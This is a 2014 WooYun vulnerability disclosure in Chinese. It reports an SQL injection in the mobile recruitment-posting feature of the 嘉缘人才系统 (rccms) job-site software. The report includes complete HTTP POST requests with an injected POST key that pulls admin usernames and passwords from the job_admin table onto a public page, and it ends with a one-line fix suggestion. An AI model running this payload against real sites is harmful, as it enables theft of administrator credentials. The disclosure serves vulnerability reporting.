当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084414

漏洞标题:嘉缘人才系统1处SQL注入#5(demo测试)

相关厂商:finereason.com

漏洞作者: 龟兔赛跑

提交时间:2014-11-23 22:24

修复时间:2014-12-30 22:26

公开时间:2014-12-30 22:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-23: 细节已通知厂商并且等待厂商处理中
2014-11-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

嘉缘人才系统某功能1处SQL注入.
(demo测试)
http://v2014.rccms.com/

详细说明:

http://v2014.rccms.com/wap/?a=savevhire&wap
嘉缘人才系统手机版“发布微招聘”功能关键字未过滤,导致SQL注入。
进入http://v2014.rccms.com/wap/,然后选择发布微招聘:

1.png

内容随意填,发布的时候使用burp修改一下,再POST的内容里面添加一个tttttt=ttttt:

POST /wap/?a=savevhire&wap HTTP/1.1
Host: v2014.rccms.com
Proxy-Connection: keep-alive
Content-Length: 157
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://v2014.rccms.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://v2014.rccms.com/wap/?a=addvhire&wap
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4
Cookie: **********cookie************
v_comname=test&v_place=test&v_number=2&v_request=aaa&v_address=test&v_tel=88888888&v_contact=%C1%AA%CF%B5%C8%CB&v_validity=3&Submit=%B7%A2%B2%BC&tttttt=ttttt


提交就会发现存在SQL error:

2.png

基本可以确定post的key被带入了SQL了。然后我们构造一个key=value,这里的key用来获取job_admin的内容,如下:

v_place%2Cv_number%2Cv_request%2Cv_address%2Cv_tel%2Cv_contact%2Cv_validity%2Cv_adddate%2Cv_ip%2Cv_flag)%0AVALUES(0x74657374%2C0x74657374%2C1%2Bchar(%40%60'%60)%2Csubstr((select(group_concat(a_user%2C0x7c%2Ca_pass))from%0A%0Ajob_admin)%2C1%2C20)%2C1%2C1%2C1%2C3%2CNOW()%2C0%2C1)%23'=4

完整的POST为:

POST /wap/?a=savevhire&wap HTTP/1.1
Host: v2014.rccms.com
Proxy-Connection: keep-alive
Content-Length: 347
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://v2014.rccms.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://v2014.rccms.com/wap/?a=addvhire&wap
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4
Cookie: ************your cookie*************
v_comname=test&v_place%2Cv_number%2Cv_request%2Cv_address%2Cv_tel%2Cv_contact%2Cv_validity%2Cv_adddate%2Cv_ip%2Cv_flag)%0AVALUES(0x74657374%2C0x74657374%2C1%2Bchar(%40%60'%60)%2Csubstr((select(group_concat(a_user%2C0x7c%2Ca_pass))from%0A%0Ajob_admin)%2C1%2C20)%2C1%2C1%2C1%2C3%2CNOW()%2C0%2C1)%23'=4&v_place=test&v_tel=88888888&Submit=%B7%A2%B2%BC


发布之后,就可以再微招聘厘米面看到job_admin的内容了:

3.png


http://v2014.rccms.com/vhire/vhire.php?id=96


4.png


(由于微招聘没办法删除,因此,再官网试的时候只显示了数据的前20个字符)。

漏洞证明:

2.png


3.png


4.png

修复方案:

过滤非数据库字段的POST key。

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 22:26

厂商回复:

最新状态:

暂无


漏洞评价:

评论